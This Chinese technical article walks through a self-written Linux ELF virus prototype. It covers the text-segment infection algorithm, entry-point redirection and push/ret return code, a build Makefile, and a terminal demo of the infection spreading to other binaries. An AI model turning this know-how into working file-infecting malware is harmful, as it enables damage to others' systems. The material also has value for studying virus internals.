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剖析Linux病毒原型工作过程和关键环节

文章标题:剖析Linux病毒原型工作过程和关键环节。Linux是中国IT实验室的一个技术频道。包含桌面应用,Linux系统管理,内核研究,嵌入式系统和开源等一些基本分类

  一、 介绍
  
  写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。
  
  二、 ELF Infector (ELF文件感染器)
  
  为了制作病毒文件,我们需要一个ELF文件感染器,用于制造第一个带毒文件。对于ELF文件感染技术,在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》一文中已经有了一个非常好的分析、描述,在这方面我还没有发现可以对其进行补充的地方,因此在这里我把Silvio Cesare对ELF Infection过程的总结贴出来,以供参考:
  
  The final algorithm is using this information is.
  * Increase p_shoff by PAGE_SIZE in the ELF header
  * Patch the insertion code (parasite) to jump to the entry point
  (original)
  * Locate the text segment program header
  * Modify the entry point of the ELF header to point to the new
  code (p_vaddr + p_filesz)
  * Increase p_filesz by account for the new code (parasite)
  * Increase p_memsz to account for the new code (parasite)
  * For each phdr who's segment is after the insertion (text segment)
  * increase p_offset by PAGE_SIZE
  * For the last shdr in the text segment
  * increase sh_len by the parasite length
  * For each shdr who's section resides after the insertion
  * Increase sh_offset by PAGE_SIZE
  * Physically insert the new code (parasite) and pad to PAGE_SIZE, into
  the file - text segment p_offset + p_filesz (original)
  
  在Linux病毒原型中所使用的gei - ELF Infector即是根据这个原理写的。在附录中你可以看到这个感染工具的源代码: g-elf-infector.cg-elf-infector与病毒是独立开的,其只在制作第一个病毒文件时被使用。我简单介绍一下它的使用方法,g-elf-infector.c可以被用于任何希望--将二进制代码插入到指定文件的文本段,并在目标文件执行时首先被执行--的用途上。g-elf-infector.c的接口很简单,你只需要提供以下三个定义:
  
  * 存放你的二进制代码返回地址的地址,这里需要的是这个地址与代码起始地址的偏移,用于返回到目标程序的正常入口
  
  #define PARACODE_RETADDR_ADDR_OFFSET 1232
  
  * 要插入的二进制代码(由于用C编写,所以这里需要以一个函数的方式提供)
  void parasite_code(void);
  
  * 二进制代码的结束(为了易用,这里用一个结尾函数来进行代码长度计算)
  void parasite_code_end(void);
  
  parasite_code_end应该是parasite_code函数后的第一个函数定义,通常应该如下表示
  void parasite_code(void)
  {
  ...
  ...
  ...
  }
  void parasite_code_end(void) {}
  
  在这里存在一个问题,就是编译有可能在编译时将parasite_code_end放在parasite_code地址的前面,这样会导致计算代码长度时失败,为了避免这个问题,你可以这样做
  void parasite_code(void)
  {
  ...
  ...
  ...
  }
  void parasite_code_end(void) {parasite_code();}
  
  有了这三个定义,g-elf-infector就能正确编译,编译后即可用来ELF文件感染
  
  face=Verdana>
  
  三、病毒原型的工作过程
  
  1 首先通过ELF Infector将病毒代码感染到一个ELF文件,这样就创造了第一个带毒文件,后续的传播就由它来完成。
  
  2 当带毒文件被执行时,会首先跳到病毒代码开始执行。
  
  3 病毒代码开始发作,在这个原型里,病毒会直接开始传播。
  
  4 病毒遍历当前目录下的每一个文件,如果是符合条件的ELF文件就开始感染。
  
  5 病毒的感染过程和ELF Infector的过程类似,但由于工作环境的不同,代码的实现也是有较大区别的。
  
  6 目前传染对ELF文件的基本要求是文本段要有剩余空间能够容纳病毒代码,如果无法满足,病毒会忽略此ELF。对于被感染过一次的ELF文件,文本段将不会有剩余的空间,因此二次感染是不会发生的。
  
  7 病毒代码执行过后,会恢复堆栈和所有寄存器(这很重要),然后跳回到真正的可执行文件入口,开始正常的运行过程。
  
  上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。
  
  四、关键技术问题及处理
  
  1 ELF文件执行流程重定向和代码插入
  
  在ELF文件感染的问题上,ELF Infector与病毒传播时调用的infect_virus思路是一样的:
  
  * 定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉ELF文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题,见ELF文档中的描述:
  p_align
  As ``Program Loading'' later in this part describes, loadable
  process segments must have congruent values for p_vaddr and
  p_offset, modulo the page size.
  
  * 通过过将ELF文件头中的入口地址修改为病毒代码地址来完成代码重定向:
  /* Modify the entry point of the ELF */
  org_entry = ehdr->e_entry;
  ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
  
  2 病毒代码如何返回到真正的ELF文件入口
  
  方法技巧应该很多,这里采用的方法是PUSH+RET组合:
  
  __asm__ volatile (
  ...
  "return:\n\t"
  "push $0xAABBCCDD\n\t" /* push ret_addr */
  "ret\n"
  ::);
  
  其中0xAABBCCDD处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程序来填写。
  
  五、 新编译环境下的调试方法
  
  grip2@linux:~/tmp/virus> ls
  g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h
  
  调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项
  grip2@linux:~/tmp/virus> cat Makefile
  all: foo gei
  gei: g-elf-infector.c gvirus.o
  gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
  foo: foo.c
  gcc $< -o foo
  gvirus.o: gvirus.c
  gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
  clean:
  rm *.o -rf
  rm foo -rf
  rm gei -rf
  
  编译代码
  grip2@linux:~/tmp/virus> make
  gcc foo.c -o foo
  gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
  gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
  
  先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义
  grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度
  Parasite code length: 1744
  
  获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移
  grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
  8049427: 68 dd cc bb aa push $0xaabbccdd
  grip2@linux:~/tmp/virus> objdump -d gei|grep ""
  08048d80 :
  8049450: e9 2b f9 ff ff jmp 8048d80
  grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
  08048d80 :
  
  0x8049427与0x8048d80相减即获得我们需要的偏移,用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值
  
  重新编译
  grip2@linux:~/tmp/virus> make clean
  rm *.o -rf
  rm foo -rf
  rm gei -rf
  grip2@linux:~/tmp/virus> make
  gcc foo.c -o foo
  gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
  gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
  
  grip2@linux:~/tmp/virus> ls
  gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
  g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h
  
  建立一个测试目录,测试一下
  grip2@linux:~/tmp/virus> mkdir test
  grip2@linux:~/tmp/virus> cp gei foo test
  grip2@linux:~/tmp/virus> cd test
  grip2@linux:~/tmp/virus/test> ls
  gei foo
  grip2@linux:~/tmp/virus/test> cp foo h
  
  制作带毒程序
  grip2@linux:~/tmp/virus/test>. /gei h
  file size: 8668
  e_phoff: 00000034
  e_shoff: 00001134
  e_phentsize: 00000020
  e_phnum: 00000008
  e_shentsize: 00000028
  e_shnum: 00000025
  text segment file offset: 0
  [15 sections patched]
  grip2@linux:~/tmp/virus/test> ll
  total 44
  -rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
  -rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo
  
  运行带毒程序
  grip2@linux:~/tmp/virus/test>. /h
  .
  ..
  gei
  foo
  h
  .backup.h
  real elf point
  grip2@linux:~/tmp/virus/test> ll
  total 52
  -rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
  
  测试上面带毒程序运行后,是否感染了其他ELF程序
  grip2@linux:~/tmp/virus/test>. /foo
  .
  ..
  gei
  Better luck next file
  foo
  h
  Better luck next file
  .backup.h
  Better luck next file
  real elf point
  
  OK,成功
  grip2@linux:~/tmp/virus/test> cp. ./foo hh
  grip2@linux:~/tmp/virus/test> ll
  total 64
  -rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
  -rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
  
  grip2@linux:~/tmp/virus/test>. /foo
  .
  ..
  gei
  Better luck next file
  foo
  h
  Better luck next file
  .backup.h
  Better luck next file
  hh
  real elf point
  grip2@linux:~/tmp/virus/test>
  
  六、总结
  
  由于我既不是一个virus coder也不是一个anti-viruscoder,所以对病毒技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到位,还请指正,谢谢。
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